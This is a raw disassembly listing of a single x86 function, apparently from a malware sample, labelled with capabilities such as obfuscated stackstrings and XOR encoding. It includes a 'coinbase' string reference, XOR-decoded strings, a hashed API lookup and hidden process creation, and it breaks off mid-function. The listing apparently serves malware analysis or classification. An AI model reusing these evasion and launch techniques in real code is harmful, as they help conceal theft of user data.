Function at 0x40dcf0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Get common file path

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0xcb8
mov ecx, dword [0x443844]
mov dword [esp + 0xc0], 0x346e9857
mov byte [esp + 0xc4], 0
mov dword [esp + 0x1c0], 0
mov eax, dword [esp + 0x1c0]
cmp eax, 4
ja 0x40dd7e
nop
mov eax, dword [esp + 0x1c0]
mov edx, dword [esp + 0x1c0]
movzx edx, byte [esp + edx + 0xc0]
add eax, 0x851c8d01
xor eax, edx
mov dword [esp + 0x2a8], eax
mov eax, dword [esp + 0x2a8]
add al, 0xd0
mov edx, dword [esp + 0x1c0]
mov byte [esp + edx + 0xc0], al
inc dword [esp + 0x1c0]
mov eax, dword [esp + 0x1c0]
cmp eax, 5
jb 0x40dd30
mov edx, dword [str.Q0aaZt__coinbase]
mov dword [esp + 0x2a8], 0x4078181b
mov dword [esp + 0x2ac], 0x68636a74
mov dword [esp + 0x2b0], 0x786b6e7c
mov dword [esp + 0x2b4], 0x687b7c63
mov dword [esp + 0x2b8], 0x6bba6665
mov dword [esp + 0x2bc], 0xad55657b
mov dword [esp + 0x2c0], 0x69b2a3a4
mov dword [esp + 0x2c4], 0x995d7377
mov word [esp + 0x2c8], 0
mov dword [esp + 0x20], 0
mov eax, dword [esp + 0x20]
cmp eax, 0x21
ja 0x40de3f
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 0x20]
mov esi, dword [esp + 0x20]
movzx esi, byte [esp + esi + 0x2a8]
add eax, 0x240f963e
xor eax, esi
mov dword [esp + 0x1c0], eax
mov eax, dword [esp + 0x1c0]
add al, 0x3c
mov esi, dword [esp + 0x20]
mov byte [esp + esi + 0x2a8], al
inc dword [esp + 0x20]
mov eax, dword [esp + 0x20]
cmp eax, 0x22
jb 0x40de00
movzx ebx, byte [esp + 0x2a8]
lea eax, [esp + 0x1c0]
test bl, bl
je 0x40de6b
lea esi, [esp + 0x2a9]
nop
nop
nop
nop
nop
nop
nop
mov byte [eax], bl
inc eax
movzx ebx, byte [esi]
inc esi
test bl, bl
jne 0x40de60
mov byte [eax], 0
movzx ebx, byte [edx]
test bl, bl
je 0x40de8b
inc edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [eax], bl
inc eax
movzx ebx, byte [edx]
inc edx
test bl, bl
jne 0x40de80
mov byte [eax], 0
movzx edx, byte [esp + 0xc0]
test dl, dl
je 0x40debb
lea esi, [esp + 0xc1]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [eax], dl
inc eax
movzx edx, byte [esi]
inc esi
test dl, dl
jne 0x40deb0
mov byte [eax], 0
movzx edx, byte [ecx]
test dl, dl
je 0x40dedb
inc ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [eax], dl
inc eax
movzx edx, byte [ecx]
inc ecx
test dl, dl
jne 0x40ded0
mov byte [eax], 0
mov dword [esp + 0x2a8], 0x29bf2fed
mov dword [esp + 0x2ac], 0x25a82bbc
mov dword [esp + 0x2b0], 0x21b627bb
mov dword [esp + 0x2b4], 0xdd0923ae
mov dword [esp + 0x2b8], 0xd951df32
mov dword [esp + 0x2bc], 0xd549db4a
mov dword [esp + 0x2c0], 0xd1f0d71c
mov dword [esp + 0x2c4], 0xcd5cd333
mov dword [esp + 0x2c8], 0xc95ccf5e
mov dword [esp + 0x2cc], 0xc527cb53
mov dword [esp + 0x2d0], 0xc14cc727
mov dword [esp + 0x2d4], 0xfd6bc35b
mov dword [esp + 0x2d8], 0xf92fff68
mov dword [esp + 0x2dc], 0xf521fb72
mov dword [esp + 0x2e0], 0xf17ff779
mov dword [esp + 0x2e4], 0xed39f37d
mov dword [esp + 0x2e8], 0xe97fef70
mov dword [esp + 0x2ec], 0xe571eb78
mov dword [esp + 0x2f0], 0xe16de733
mov dword [esp + 0x2f4], 0x9d08e370
mov dword [esp + 0x2f8], 0x990e9f03
mov dword [esp + 0x2fc], 0x95039b79
mov dword [esp + 0x300], 0x910d970a
mov dword [esp + 0x304], 0x8db9930e
mov dword [esp + 0x308], 0x89888fb4
mov byte [esp + 0x30c], 0
lea ecx, [esp + 0x1c0]
mov dword [esp + 0x20], 0
mov edx, dword [esp + 0x20]
cmp edx, 0x64
ja 0x40e061
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, dword [esp + 0x20]
mov esi, dword [esp + 0x20]
movzx esi, byte [esp + esi + 0x2a8]
add edx, 0xe37c5172
xor edx, esi
mov dword [esp + 0xc0], edx
mov edx, dword [esp + 0xc0]
add dl, 0xa4
mov esi, dword [esp + 0x20]
mov byte [esp + esi + 0x2a8], dl
inc dword [esp + 0x20]
mov edx, dword [esp + 0x20]
cmp edx, 0x65
jb 0x40e020
sub eax, ecx
mov dword [esp + 0xc0], 0x25c52bfd
mov dword [esp + 0xc4], 0x21b927b6
mov dword [esp + 0xc8], 0x2322
mov byte [esp + 0xcc], 0
mov dword [esp + 0x240], 0
mov edx, dword [esp + 0x240]
cmp edx, 0xc
ja 0x40e0fa
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, dword [esp + 0x240]
mov esi, dword [esp + 0x240]
movzx esi, byte [esp + esi + 0xc0]
add edx, 0xe4de4ef6
xor edx, esi
mov dword [esp + 0x20], edx
mov edx, dword [esp + 0x20]
add dl, 0x24
mov esi, dword [esp + 0x240]
mov byte [esp + esi + 0xc0], dl
inc dword [esp + 0x240]
mov edx, dword [esp + 0x240]
cmp edx, 0xd
jb 0x40e0b0
lea edx, [esp + 0xb8]
lea esi, [esp + 0xa8]
lea ebx, [esp + 0x2a8]
lea edi, [esp + 0xc0]
push edx
push esi
push eax
push ecx
push ebx
push edi
push 0x448658
call fcn.0040cc80
add esp, 0x1c
movzx eax, al
jmp dword [eax*4 + 0x444184]
xor esi, esi
jmp 0x40e19b
push 0x104
push ebx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov ecx, dword [esp + 0xb8]
mov ebx, dword [esp + 0xa8]
lea eax, [ecx + ecx*2]
shr eax, 2
movzx edx, byte [ebx + ecx - 1]
cmp edx, 0x3d
je 0x40e166
cmp edx, 0x2e
jne 0x40e167
dec eax
movzx ecx, byte [ebx + ecx - 2]
cmp ecx, 0x3d
je 0x40e176
cmp ecx, 0x2e
jne 0x40e177
dec eax
push eax
call fcn.0040a300
add esp, 4
mov esi, eax
push eax
push ebx
call fcn.00437270
add esp, 8
push dword [esp + 0xa8]
call fcn.0043a780
add esp, 4
mov eax, dword [case.0x40e12c.5]
jmp eax
xor eax, eax
test esi, esi
sete al
jmp dword [eax*4 + 0x44419c]
push esi
call fcn.00402fa0
add esp, 4
mov ebx, eax
jmp dword [0x4441b4]
push esi
call fcn.0040a310
add esp, 4
push ebx
call fcn.00403a20
add esp, 4
mov esi, eax
mov dword [esp + 0x20], 0xc47244
mov dword [esp + 0xc0], 0
mov eax, dword [esp + 0xc0]
cmp eax, 3
ja 0x40e248
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 0xc0]
mov ecx, dword [esp + 0xc0]
movzx ecx, byte [esp + ecx + 0x20]
add eax, 0x6e611a27
xor eax, ecx
mov dword [esp + 0x2a8], eax
mov eax, dword [esp + 0x2a8]
add al, 0x13
mov ecx, dword [esp + 0xc0]
mov byte [esp + ecx + 0x20], al
inc dword [esp + 0xc0]
mov eax, dword [esp + 0xc0]
cmp eax, 4
jb 0x40e200
lea eax, [esp + 0x20]
push eax
push esi
call fcn.00403b70
add esp, 8
xor ecx, ecx
test eax, eax
setg cl
jmp dword [ecx*4 + 0x4441bc]
call fcn.00435a40
movzx eax, al
jmp dword [eax*4 + 0x4441c4]
mov word [esp + 0x2a8], 0x484a
mov byte [esp + 0x2aa], 0xa3
mov word [esp + 0x2ab], 0
mov byte [esp + 0x2ad], 0
mov dword [esp + 0x20], 0
mov eax, dword [esp + 0x20]
cmp eax, 5
ja 0x40e2ef
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x20]
movzx ecx, byte [esp + ecx + 0x2a8]
add eax, 0x5b711a66
xor eax, ecx
mov dword [esp + 0xc0], eax
mov eax, dword [esp + 0xc0]
add al, 0x35
mov ecx, dword [esp + 0x20]
mov byte [esp + ecx + 0x2a8], al
inc dword [esp + 0x20]
mov eax, dword [esp + 0x20]
cmp eax, 6
jb 0x40e2b0
lea eax, [esp + 0x2a8]
push eax
push esi
call fcn.00403b70
add esp, 8
mov dword [esp + 0xa0], eax
mov word [esp + 0x2a8], 0x1467
mov byte [esp + 0x2aa], 0xe6
mov dword [esp + 0x2ab], 0
mov byte [esp + 0x2af], 0
mov dword [esp + 0x20], 0
mov eax, dword [esp + 0x20]
cmp eax, 7
ja 0x40e37f
nop
nop
nop
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x20]
movzx ecx, byte [esp + ecx + 0x2a8]
add eax, 0xb396c72e
xor eax, ecx
mov dword [esp + 0xc0], eax
mov eax, dword [esp + 0xc0]
add al, 0x2a
mov ecx, dword [esp + 0x20]
mov byte [esp + ecx + 0x2a8], al
inc dword [esp + 0x20]
mov eax, dword [esp + 0x20]
cmp eax, 8
jb 0x40e340
lea eax, [esp + 0x2a8]
push eax
push esi
call fcn.00403b70
add esp, 8
xor ecx, ecx
test eax, eax
setg cl
mov dword [esp + 0xac], ecx
mov dword [esp + 0xb0], esi
push esi
call fcn.0040ef90
add esp, 4
push ebx
call fcn.00403fd0
add esp, 4
lea esi, [esp + 0x240]
mov ecx, esi
push 1
call fcn.0040aa30
push esi
call fcn.0041d940
add esp, 4
mov ecx, esi
call fcn.0040b2c0
lea esi, [esp + 0xc48]
mov ecx, esi
push 3
call fcn.0040aa30
push esi
call fcn.0041e190
add esp, 4
mov ecx, esi
call fcn.0040b2c0
lea esi, [esp + 0xbe0]
mov ecx, esi
push 1
call fcn.0040aa30
push esi
call fcn.0041e6c0
add esp, 4
mov ecx, esi
call fcn.0040b2c0
lea ebx, [esp + 0xb78]
mov ecx, ebx
push 1
call fcn.0040aa30
push ebx
call fcn.00420360
add esp, 4
push ebx
call fcn.00420d30
add esp, 4
push ebx
call fcn.004211b0
add esp, 4
mov ecx, ebx
call fcn.0040b2c0
lea esi, [esp + 0xb10]
mov ecx, esi
push 1
call fcn.0040aa30
push esi
call fcn.00422fd0
add esp, 4
mov ecx, esi
call fcn.0040b2c0
lea ebx, [esp + 0xaa8]
mov ecx, ebx
push 1
call fcn.0040aa30
push ebx
call fcn.00427b30
add esp, 4
push ebx
call fcn.00431530
add esp, 4
mov eax, dword [esp + 0xac]
jmp dword [eax*4 + 0x4441cc]
push ebx
call fcn.00425380
add esp, 4
lea ecx, [esp + 0xaa8]
call fcn.0040b2c0
mov dword [esp + 0x20], 0x51425097
mov dword [esp + 0x24], 0xc78359
mov dword [esp + 0xc0], 0
mov eax, dword [esp + 0xc0]
cmp eax, 7
ja 0x40e535
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 0xc0]
mov ecx, dword [esp + 0xc0]
movzx ecx, byte [esp + ecx + 0x20]
add eax, 0xef764754
xor eax, ecx
mov dword [esp + 0x2a8], eax
mov eax, dword [esp + 0x2a8]
mov ecx, eax
not ecx
and ecx, 0x9d
and eax, 0x62
sub eax, ecx
mov ecx, dword [esp + 0xc0]
mov byte [esp + ecx + 0x20], al
inc dword [esp + 0xc0]
mov eax, dword [esp + 0xc0]
cmp eax, 8
jb 0x40e4e0
mov eax, dword [0x443844]
mov dword [esp + 4], 0xa76b3f7a
mov dword [esp + 0xc0], 0
mov ecx, dword [esp + 0xc0]
cmp ecx, 3
ja 0x40e5aa
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp + 0xc0]
mov edx, dword [esp + 0xc0]
movzx edx, byte [esp + edx + 4]
add ecx, 0xd1e8a6fa
xor ecx, edx
mov dword [esp + 0x2a8], ecx
mov ecx, dword [esp + 0x2a8]
add cl, 0xa6
mov edx, dword [esp + 0xc0]
mov byte [esp + edx + 4], cl
inc dword [esp + 0xc0]
mov ecx, dword [esp + 0xc0]
cmp ecx, 4
jb 0x40e560
mov ecx, dword [str.Q0aaZt__coinbase]
mov dword [esp + 0x2a8], 0x3e061211
mov dword [esp + 0x2ac], 0x18021013
mov dword [esp + 0x2b0], 0xf8f9ecf5
mov dword [esp + 0x2b4], 0xa9ebeaed
mov dword [esp + 0x2b8], 0xcef0e4f6
mov dword [esp + 0x2bc], 0xa1b6bbb0
mov dword [esp + 0x2c0], 0xd6fee0e4
mov byte [esp + 0x2c4], 0x9c
mov word [esp + 0x2c5], 0
mov byte [esp + 0x2c7], 0
mov dword [esp + 0xc], 0
mov edx, dword [esp + 0xc]
cmp edx, 0x1f
ja 0x40e671
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, dword [esp + 0xc]
mov esi, dword [esp + 0xc]
movzx esi, byte [esp + esi + 0x2a8]
add edx, 0x44681e78
xor edx, esi
mov dword [esp + 0xc0], edx
mov edx, dword [esp + 0xc0]
add dl, 0xf8
mov esi, dword [esp + 0xc]
mov byte [esp + esi + 0x2a8], dl
inc dword [esp + 0xc]
mov edx, dword [esp + 0xc]
cmp edx, 0x20
jb 0x40e630
movzx edx, byte [esp + 0x2a8]
test dl, dl
je 0x40e69b
lea edi, [esp + 0xc0]
lea esi, [esp + 0x2a9]
nop
nop
nop
nop
nop
mov byte [edi], dl
inc edi
movzx edx, byte [esi]
inc esi
test dl, dl
jne 0x40e690
mov byte [edi], 0
movzx edx, byte [ecx]
test dl, dl
je 0x40e6bb
inc ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], dl
inc edi
movzx edx, byte [ecx]
inc ecx
test dl, dl
jne 0x40e6b0
mov byte [edi], 0
movzx ecx, byte [esp + 4]
test cl, cl
je 0x40e6db
lea edx, [esp + 5]
nop
nop
nop
nop
nop
mov byte [edi], cl
inc edi
movzx ecx, byte [edx]
inc edx
test cl, cl
jne 0x40e6d0
mov byte [edi], 0
movzx ecx, byte [eax]
test cl, cl
je 0x40e6fb
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], cl
inc edi
movzx ecx, byte [eax]
inc eax
test cl, cl
jne 0x40e6f0
mov byte [edi], 0
movzx eax, byte [esp + 0x20]
test al, al
je 0x40e71b
lea ecx, [esp + 0x21]
nop
nop
nop
nop
nop
mov byte [edi], al
inc edi
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x40e710
mov byte [edi], 0
movzx eax, byte [0x4485f8]
test al, al
je 0x40e741
xor ecx, ecx
nop
nop
nop
nop
nop
mov byte [edi + ecx], al
movzx eax, byte [ecx + 0x4485f9]
inc ecx
test al, al
jne 0x40e730
add edi, ecx
mov byte [edi], 0
mov dword [esp + 0x2a8], 0xed9fefa1
mov dword [esp + 0x2ac], 0xe994eb98
mov dword [esp + 0x2b0], 0xf586f79b
mov dword [esp + 0x2b4], 0xf1c5f38e
mov dword [esp + 0x2b8], 0xfd85ffa2
mov dword [esp + 0x2bc], 0xf995fb8a
mov dword [esp + 0x2c0], 0x5240740
mov dword [esp + 0x2c4], 0x1700363
mov dword [esp + 0x2c8], 0xd780f7e
mov dword [esp + 0x2cc], 0x9670b63
mov dword [esp + 0x2d0], 0x15681777
mov dword [esp + 0x2d4], 0x1163137b
mov dword [esp + 0x2d8], 0x1d2f1f6c
mov dword [esp + 0x2dc], 0x192d1b62
mov dword [esp + 0x2e0], 0x255f275d
mov dword [esp + 0x2e4], 0x21152359
mov dword [esp + 0x2e8], 0x2d5f2f44
mov dword [esp + 0x2ec], 0x295d2b54
mov dword [esp + 0x2f0], 0x35493703
mov dword [esp + 0x2f4], 0x3144334c
mov dword [esp + 0x2f8], 0x3d4e3f53
mov dword [esp + 0x2fc], 0x394b3b55
mov dword [esp + 0x300], 0x4529472a
mov dword [esp + 0x304], 0x4155432e
mov dword [esp + 0x308], 0x4d4c4f58
mov dword [esp + 0x30c], 0
lea eax, [esp + 0xc0]
mov dword [esp + 0xc], 0
mov ecx, dword [esp + 0xc]
cmp ecx, 0x67
ja 0x40e8bb
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 0xc]
movzx edx, byte [esp + edx + 0x2a8]
add ecx, 0x3330a4e8
xor ecx, edx
mov dword [esp + 0x20], ecx
mov ecx, dword [esp + 0x20]
add cl, 0xfa
mov edx, dword [esp + 0xc]
mov byte [esp + edx + 0x2a8], cl
inc dword [esp + 0xc]
mov ecx, dword [esp + 0xc]
cmp ecx, 0x68
jb 0x40e880
sub edi, eax
mov dword [esp + 0x20], 0x3f9f394b
mov dword [esp + 0x24], 0x3933d8e
mov dword [esp + 0x28], 0x102
mov byte [esp + 0x2c], 0
mov dword [esp + 4], 0
mov ecx, dword [esp + 4]
cmp ecx, 0xc
ja 0x40e92f
nop
nop
nop
nop
nop
mov ecx, dword [esp + 4]
mov edx, dword [esp + 4]
movzx edx, byte [esp + edx + 0x20]
lea esi, [ecx + edx]
add ecx, 0x19
and ecx, edx
add ecx, ecx
sub esi, ecx
add esi, 0x1c9ea919
mov dword [esp + 0xc], esi
mov ecx, dword [esp + 0xc]
add cl, 0xdd
mov edx, dword [esp + 4]
mov byte [esp + edx + 0x20], cl
inc dword [esp + 4]
mov ecx, dword [esp + 4]
cmp ecx, 0xd
jb 0x40e8f0
lea ecx, [esp + 0xb4]
lea edx, [esp + 0xa4]
push ecx
push edx
push edi
push eax
lea edi, [esp + 0x2b8]
push edi
lea eax, [esp + 0x34]
push eax
push 0x448658
call fcn.0040cc80
add esp, 0x1c
movzx eax, al
jmp dword [eax*4 + 0x4441d4]
xor ebx, ebx
xor eax, eax
test ebx, 0
setne al
jmp dword [eax*4 + 0x4441dc]
jmp dword [0x4441ac]
xor eax, eax
jmp 0x40ef82
mov ecx, dword [esp + 0xb4]
mov esi, dword [esp + 0xa4]
lea eax, [ecx + ecx*2]
shr eax, 2
movzx edx, byte [esi + ecx - 1]
cmp edx, 0x3d
je 0x40e9b0
cmp edx, 0x2e
jne 0x40e9b1
dec eax
movzx ecx, byte [esi + ecx - 2]
cmp ecx, 0x3d
je 0x40e9c0
cmp ecx, 0x2e
jne 0x40e9c1
dec eax
push eax
call fcn.0040a300
add esp, 4
mov ebx, eax
push eax
push esi
call fcn.00437270
add esp, 8
push dword [esp + 0xa4]
call fcn.0043a780
add esp, 4
xor eax, eax
test ebx, ebx
setne al
jmp dword [eax*4 + 0x4441dc]
push ebx
call fcn.00402fa0
add esp, 4
mov esi, eax
jmp dword [0x4441e4]
push ebx
call fcn.0040a310
add esp, 4
push esi
call fcn.00411d40
add esp, 4
push esi
call fcn.00403fd0
add esp, 4
mov dword [esp + 0x2a8], 0x11f7fdfa
mov word [esp + 0x2ac], 0
mov dword [esp + 0xc], 0
mov eax, dword [esp + 0xc]
cmp eax, 5
mov esi, dword [esp + 0xb0]
ja 0x40ea96
nop
nop
nop
nop
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 0xc]
movzx ecx, byte [esp + ecx + 0x2a8]
lea edx, [eax + ecx]
add eax, 0xd6
and eax, ecx
add eax, eax
sub edx, eax
add edx, 0x41f3f4d6
mov dword [esp + 0x20], edx
mov eax, dword [esp + 0x20]
add al, 0x38
mov ecx, dword [esp + 0xc]
mov byte [esp + ecx + 0x2a8], al
inc dword [esp + 0xc]
mov eax, dword [esp + 0xc]
cmp eax, 6
jb 0x40ea50
push edi
push esi
call fcn.00403b70
add esp, 8
xor ecx, ecx
test eax, eax
setg cl
jmp dword [ecx*4 + 0x4441ec]
xor eax, eax
cmp dword [esp + 0xa0], 0
setg al
jmp dword [eax*4 + 0x4441f4]
lea ecx, [esp + 0x2a8]
push 1
call fcn.0040aa30
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [eax + 0x448960], 0
lea eax, [eax + 1]
jne 0x40eae0
lea edx, [eax + 0x44895f]
lea ecx, [eax + 0x448960]
neg ecx
mov eax, 0x448960
and ecx, eax
not eax
and eax, edx
mov dword [esp + 0x20], 0x5a686c8c
mov dword [esp + 0x24], 0xa95aa165
mov word [esp + 0x28], 0x33a4
mov dword [esp + 0x2a], 0
mov byte [esp + 0x2e], 0
sub eax, ecx
mov dword [esp + 4], 0
mov ecx, dword [esp + 4]
cmp ecx, 0xe
ja 0x40eb75
nop
nop
nop
nop
mov ecx, dword [esp + 4]
mov edx, dword [esp + 4]
movzx edx, byte [esp + edx + 0x20]
add ecx, 0x8a187bf9
xor ecx, edx
mov dword [esp + 0xc], ecx
mov ecx, dword [esp + 0xc]
add cl, 0xcf
mov edx, dword [esp + 4]
mov byte [esp + edx + 0x20], cl
inc dword [esp + 4]
mov ecx, dword [esp + 4]
cmp ecx, 0xf
jb 0x40eb40
lea esi, [esp + 0x2a8]
mov ecx, esi
push eax
push 0x448960
lea eax, [esp + 0x28]
push eax
call fcn.0040ac30
mov ecx, esi
call fcn.0040b2c0
mov ecx, esi
call fcn.0040aa70
xor eax, eax
cmp dword [esp + 0xa0], 0
setg al
jmp dword [eax*4 + 0x4441f4]
push 0
call fcn.0043df90
add esp, 4
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x4441fc]
mov dword [esp + 0x20], 0x20de2eca
mov dword [esp + 0x24], 0x241b22c7
mov dword [esp + 0x28], 0x38b126c0
mov dword [esp + 0x2c], 0x3c1d3adc
mov dword [esp + 0x30], 0x30c43e1d
mov dword [esp + 0x34], 0x34d632c7
mov dword [esp + 0x38], 0xc83d36c5
mov dword [esp + 0x3c], 0xccfccaeb
mov dword [esp + 0x40], 0xc03ace30
mov dword [esp + 0x44], 0xc4e5c23d
mov dword [esp + 0x48], 0xd826c622
mov dword [esp + 0x4c], 0xdce3da3f
mov dword [esp + 0x50], 0xd059de38
mov dword [esp + 0x54], 0xd4f5d234
mov dword [esp + 0x58], 0xe8d8d6f5
mov dword [esp + 0x5c], 0xeccdea0e
mov dword [esp + 0x60], 0xe01aee1b
mov dword [esp + 0x64], 0xe402e21c
mov dword [esp + 0x68], 0xf80ee616
mov dword [esp + 0x6c], 0xfcddfa0f
mov dword [esp + 0x70], 0xf005fece
mov dword [esp + 0x74], 0xf4c0f2d3
mov dword [esp + 0x78], 0x88b8f6d7
mov dword [esp + 0x7c], 0x8c7c8a75
mov dword [esp + 0x80], 0x80738e6d
mov dword [esp + 0x84], 0x84668264
mov dword [esp + 0x88], 0x98b9867a
mov dword [esp + 0x8c], 0x9cbd9abd
mov dword [esp + 0x90], 0x90769e7b
mov dword [esp + 0x94], 0x94b5926f
mov dword [esp + 0x98], 0xa8a996b5
mov dword [esp + 0x9c], 0
mov dword [esp + 0xc], 0
mov ecx, dword [esp + 0xc]
cmp ecx, 0x7f
ja 0x40ed4b
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 0xc]
movzx edx, byte [esp + edx + 0x20]
lea esi, [ecx + edx]
add esi, 0x4d13cce6
add ecx, 0x4d13cce6
and ecx, edx
add ecx, ecx
sub esi, ecx
mov dword [esp + 0x2a8], esi
mov ecx, dword [esp + 0x2a8]
add cl, 0x37
mov edx, dword [esp + 0xc]
mov byte [esp + edx + 0x20], cl
inc dword [esp + 0xc]
mov ecx, dword [esp + 0xc]
cmp ecx, 0x80
jb 0x40ed00
movzx ecx, word [esp + 0x20]
test cx, cx
je 0x40ed71
lea edi, [esp + 0x2a8]
lea edx, [esp + 0x22]
mov word [edi], cx
add edi, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x40ed60
mov word [edi], 0
movzx ecx, word [eax]
test cx, cx
je 0x40eda1
add eax, 2
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [edi], cx
add edi, 2
movzx ecx, word [eax]
add eax, 2
test cx, cx
jne 0x40ed90
mov dword [edi], 0x220022
mov dword [edi + 4], 0x22
mov dword [esp + 0x60], 0
mov dword [esp + 0x5c], 0
mov dword [esp + 0x58], 0
mov dword [esp + 0x54], 0
mov dword [esp + 0x50], 0
mov dword [esp + 0x48], 0
mov dword [esp + 0x44], 0
mov dword [esp + 0x40], 0
mov dword [esp + 0x3c], 0
mov dword [esp + 0x38], 0
mov dword [esp + 0x34], 0
mov dword [esp + 0x30], 0
mov dword [esp + 0x2c], 0
mov dword [esp + 0x28], 0
mov dword [esp + 0x24], 0
mov dword [esp + 0x20], 0x44
mov dword [esp + 0x4c], 1
push 0xc9be8534
push dword [0x449960]
call fcn.0043e080
add esp, 8
lea ecx, [esp + 0xc]
lea edx, [esp + 0x2a8]
push ecx
lea ecx, [esp + 0x24]
push ecx
push 0
push 0
push 0x8000000
push 0
push 0
push 0
push edx
push 0
call eax
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x444204]
mov eax, dword [esp + 0xc]
mov dword [esp + 4], 0xc2c33c3d
mov word [esp + 8], 0
mov dword [esp + 0x1c], 0
mov ecx, dword [esp + 0x1c]
cmp ecx, 5
ja 0x40eedb
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x1c]
movzx edx, byte [esp + edx + 4]
add ecx, 0x205af7fe
xor ecx, edx
mov dword [esp + 0xbc], ecx
mov ecx, dword [esp + 0xbc]
add cl, 0x3c
mov edx, dword [esp + 0x1c]
mov byte [esp + edx + 4], cl
inc dword [esp + 0x1c]
mov ecx, dword [esp + 0x1c]
cmp ecx, 6
jb 0x40eea0
mov ecx, dword [0x44996c]
test ecx, ecx
je case.0x40eba9.0
mov edx, dword [esp + 4]
xor esi, esi
mov edi, dword [0x449970]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [edi + esi*8], 0x625b6034
je 0x40ef1e
inc esi
cmp ecx, esi
jne 0x40ef00
jmp case.0x40eba9.0
push ebx
call fcn.00403fd0
add esp, 4
jmp case.0x40e12c.10
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
je case.0x40eba9.0
push eax
push 1
push dword [0x449974]
push ecx
call fcn.0043c800
add esp, 0x10
lea ecx, [esp + 0xaa8]
call fcn.0040aa70
lea ecx, [esp + 0xb10]
call fcn.0040aa70
lea ecx, [esp + 0xb78]
call fcn.0040aa70
lea ecx, [esp + 0xbe0]
call fcn.0040aa70
lea ecx, [esp + 0xc48]
call fcn.0040aa70
lea ecx, [esp + 0x240]
call fcn.0040aa70
mov al, 1
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov dword [esp + 0x124], esi
jmp 0x40f058
inc edi
mov esi, dword [esp + 0x124]
push esi
call fcn.00403f90
add esp, 4
xor ecx, ecx
cmp edi, eax
setb cl
mov al, 1
jmp dword [ecx*4 + 0x444214]
push edi
push esi
call fcn.00403fa0
add esp, 8
mov esi, eax
mov dword [esp + 0x48], 0x3db0
mov byte [esp + 0x4c], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 4
ja 0x40f0df
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x48]
lea edx, [eax + ecx]
add eax, 0x30
and eax, ecx
add eax, eax
sub edx, eax
add edx, 0x66c95730
mov dword [esp + 0xb0], edx
mov eax, dword [esp + 0xb0]
add al, 0xf4
mov ecx, dword [esp]
mov byte [esp + ecx + 0x48], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 5
jb 0x40f0a0
push 3
push ebx
push esi
call fcn.00403e70
add esp, 0xc
xor ecx, ecx
test eax, eax
sete cl
jmp dword [ecx*4 + 0x44421c]
mov word [esp + 0x48], 0x9fc
lea eax, [esp + 0x4b]
mov byte [eax + 3], 0
mov dword [eax - 1], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 6
ja 0x40f16b
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x48]
lea edx, [eax + ecx]
add edx, 0x523c2242
add eax, 0x523c2242
and eax, ecx
mov ecx, edx
xor ecx, eax
add ecx, eax
not eax
and eax, edx
add eax, eax
sub eax, ecx
mov dword [esp + 0xb0], eax
mov eax, dword [esp + 0xb0]
add al, 0xb6
mov ecx, dword [esp]
mov byte [esp + ecx + 0x48], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 7
jb 0x40f120
push ebx
push esi
call fcn.00403910
add esp, 8
fnstcw word [esp + 0x10a]
movzx eax, word [esp + 0x10a]
or eax, 0xc00
mov word [esp + 0x122], ax
fldcw word [esp + 0x122]
fistp dword [esp + 0x138]
fldcw word [esp + 0x10a]
mov eax, dword [esp + 0x138]
xor ecx, ecx
cmp eax, 2
setl cl
jmp dword [ecx*4 + 0x444224]
xor ecx, ecx
cmp eax, 3
setl cl
jmp dword [ecx*4 + 0x44422c]
sete al
movzx eax, al
jmp dword [eax*4 + 0x444234]
mov word [esp + 0x48], 0xc923
mov dword [esp + 0x4a], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 5
ja 0x40f234
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x48]
add eax, 0x359b940e
xor eax, ecx
mov dword [esp + 0xb0], eax
mov eax, dword [esp + 0xb0]
add al, 0x3a
mov ecx, dword [esp]
mov byte [esp + ecx + 0x48], al
